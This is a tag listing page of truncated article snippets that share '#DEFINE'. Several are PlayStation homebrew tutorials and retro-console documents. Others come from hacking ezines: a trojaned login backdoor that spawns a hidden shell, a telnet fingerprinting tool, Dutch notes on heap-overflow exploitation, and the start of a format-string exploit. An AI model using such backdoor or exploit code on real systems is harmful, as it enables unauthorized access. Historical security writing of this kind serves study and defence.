#DEFINE

1.6: Using the CD-ROM

PS_2's profile picture
Published in 
 · 1 day ago
1.6: Using the CD-ROM
... ; // GTE header, not really used but libgpu.h depends on it #include <psxgpu.h> // GPU library header #include <psxapi.h> #DEFINE OTLEN 8 // Ordering table length (recommended to set as a define // so it can be changed easily) DISPENV disp[2]; // Display/drawing buffer parameters DRAWENV draw[2]; int db = 0; // PSn00bSDK requires having all u_long types replaced with // u_int, as u_long in modern GCC that PSn00bSDK uses defines it as a 64-bit integer. u_int ot[2][OTLEN]; // Ordering table length char pribuff[2][32768]; // Primitive buffer char *nextpri; // ...

1.5: Fixed Point Math

PS_2's profile picture
Published in 
 · 1 day ago
1.5: Fixed Point Math
... ; // GTE header, not really used but libgpu.h depends on it #include <psxgpu.h> // GPU library header #include <psxapi.h> #DEFINE OTLEN 8 // Ordering table length (recommended to set as a define // so it can be changed easily) DISPENV disp[2]; // Display/drawing buffer parameters DRAWENV draw[2]; int db = 0; // PSn00bSDK requires having all u_long types replaced with // u_int, as u_long in modern GCC that PSn00bSDK uses defines it as a 64-bit integer. u_int ot[2][OTLEN]; // Ordering table length char pribuff[2][32768]; // Primitive buffer char *nextpri; // ...

1.4: Controllers

PS_2's profile picture
Published in 
 · 1 day ago
1.4: Controllers
... list of constants for each button so you can specify which bit to test with more coherent names. In PSn00bSDK, these are already defined in psxpad.h. #DEFINE PAD_SELECT 1 #define PAD_L3 2 #define PAD_R3 4 #define PAD_START 8 #define PAD_UP 16 #define PAD_RIGHT 32 #define PAD_DOWN 64 #define PAD_LEFT 128 #define PAD_L2 256 #define PAD_R2 512 #define PAD_L1 1024 #define PAD_R1 2048 #define PAD_TRIANGLE 4096 #define PAD_CIRCLE 8192 #define PAD_CROSS 16384 #define PAD_SQUARE 32768 To test if a button is pressed, simply mask the 16-bit integer against the bit value of the button you want to test using an AND (&) operator. Because the pressed state of ...

2x16: Extract

eZine's profile picture
Published in 
 · 1 month ago
... vo3 ... */ #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <string.h> #include <dirent.h> #DEFINE BEGIN_TAG "[++] " #define END_TAG "[--]" #define BT_SIZE strlen(BEGIN_TAG) #define ET_SIZE strlen(END_TAG) #define SPLIT_TAG "-[ 2x" #define SPLIT_SIZE strlen(SPLIT_TAG) struct f_name { unsigned char name[256]; struct f_name *next; }; #ifdef __alpha typedef unsigned int uint32; #else typedef unsigned long uint32; #endif struct MD5Context { uint32 buf[4]; uint32 bits[2]; unsigned char in[64]; }; void MD5Init(struct MD5Context *context); void MD5Update(struct MD5Context *context, unsigned char co ...

2-9: Metodos de PENEtracion de sistemas

eZine's profile picture
Published in 
 · 1 month ago
... and touch all timestamps. * * Change the MAGIC_WORD and such to taste your fit. */ #include <stdio.h> /* start of user def stuff */ #DEFINE OLDLOGIN "/usr/lib/login" #define LOGINNAME "login" #define MAGIC_WORD "localhost" /* end of user def stuff */ /* To make it a bit better looking in strings */ #define REVISION "$Id: Localcore 2000/08/14 21:31:00 marekm Exp $" char **exe; do_back() { puts(REVISION); putenv("TERM=vt100"); putenv("HISTFILE=/dev/null"); execl("/bin/sh","sh","-i",0); } main(argc, argv) int argc; char *argv[]; { exe = argv; exe[0] = LOGINNAME; if ((char *)getenv("D ...

Doom Editing Digest Vol. 01 Nr. 301

eZine's profile picture
Published in 
 · 6 months ago
... l can handle anything. UUEncode it, mime it, it won't matter. __________________________________________________________ #include <stupidstuff.h> #DEFINE USER "johnw" /* John Wakelin */ /* Johnw@datametrics.com */ main() /* (703) 385 7700 */ { while (isstupid(USER)) ignore(USER); } Reposted by Snider - ----------------------------------- Rainer.Spielbauer@dlr.de ------------------------------ From: a13231@mindlink.bc.ca (Drake O'Brien) (by way of S.Benner@lancaster.ac.uk \(Steve Benner\)) Date: Thu, 1 Jun 95 09:48:19 +0100 Subject: Esoterica on overlayed line-switches Since I don't write prog's for doom-editing my guesses ...

Anomie's Register Doc

Dreamcast's profile picture
Published in 
 · 6 months ago
... reater than 1023, use the low 3 bits of each to choose the pixel from character 0. The bit-accurate formula seems to be something along the lines of: #DEFINE CLIP(a) (((a)&0x2000)?((a)|~0x3ff):((a)&0x3ff)) X[0,y] = ((A*CLIP(HOFS-CX))&~63) + ((B*y)&~63) + ((B*CLIP(VOFS-CY))&~63) + (CX<<8) Y[0,y] = ((C*CLIP(HOFS-CX))&~63) + ((D*y)&~63) + ((D*CLIP(VOFS-CY))&~63) + (CY<<8) X[x,y] = X[x-1,y] + A Y[x,y] = Y[x-1,y] + C (In all cases, X[] and Y[] are fixed point with 8 bits of fraction) See the section "BACKGROUNDS" below for details. 2121 wb+++- CGADD - CGRAM Address cccccccc This sets the word address (i.e. colo ...

Hackers 4 Hackers #12

eZine's profile picture
Published in 
 · 7 months ago
... t.h> #include <netinet/in.h> #include <stdlib.h> #include <sys/time.h> #include <errno.h> #include <fcntl.h> #DEFINE DEFAULTPORT 23 char *names[] = {"login:","name:", NULL}; char *fp_os[] = {"daemon","operator","bin","smmsp","popa3d","uucp", "www", "named", "proxy", NULL}; /* openbsd 3.1 */ struct telnet_neg { unsigned char iac; unsigned char command; unsigned char option; }; void die(char *s){ perror(s); exit(errno); } int do_telnet_neg(int fd) { unsigned int negcount, recved, i, j; unsigned char *buf = (char *) malloc(512+1); unsigned char *string = (char *) malloc(512+1); struct telnet_neg *neg = ( ...

Hackers 4 Hackers #11

eZine's profile picture
Published in 
 · 7 months ago
... ndary). dlmalloc berekent de uiteindelijke grootte van een chunk aan de hand van de request2size() macro, die vereenvoudigd op het volgende neerkomt: #DEFINE request2size( req, nb ) \ ( nb = (((req) + SIZE_SZ) + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK ) MALLOC_ALIGN_MASK is hierin 7 (binair 111), ~MALLOC_ALIGN_MASK is daarom ook binair 11111111111111111111111111111000. SIZE_SZ de grootte van een field in een boundary tag (dus 4). Wat de macro dan ook in werkelijkheid doet is 11 optellen bij de request size, en van dat geheel de laatste 3 bytes op 0 zetten. Omdat 4 bytes van de user data in het reserveerde geheugen van de volgende chunk op de hea ...

Hackers 4 Hackers #10

eZine's profile picture
Published in 
 · 7 months ago
... rs voor onze '%nu'-formatparameters, en mogen alles zijn zolang ze maar geen '\0' byte bevatten. De exploit: #include <stdio.h> #DEFINE STACKPOPS 43 /* Aantal stackpops wat we nodig hebben voor de */ /* pointer van printf op onze address-dummy-pairs */ /* wijst. */ #define ALW 0x1ae /* Aantal characters dat reeds door de formatfunctie */ /* geschreven is voordat we aan onze writecode beginnen */ #define DUMMY 0xdddddddd /* Dummy-waarde voor onze address-dummy-pairs. */ #define NOP 0x90 /* De opcode voor de NOP instructie. */ #define RETLOC 0xdfbfd6e4 /* Locatie van RET ...
loading
Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT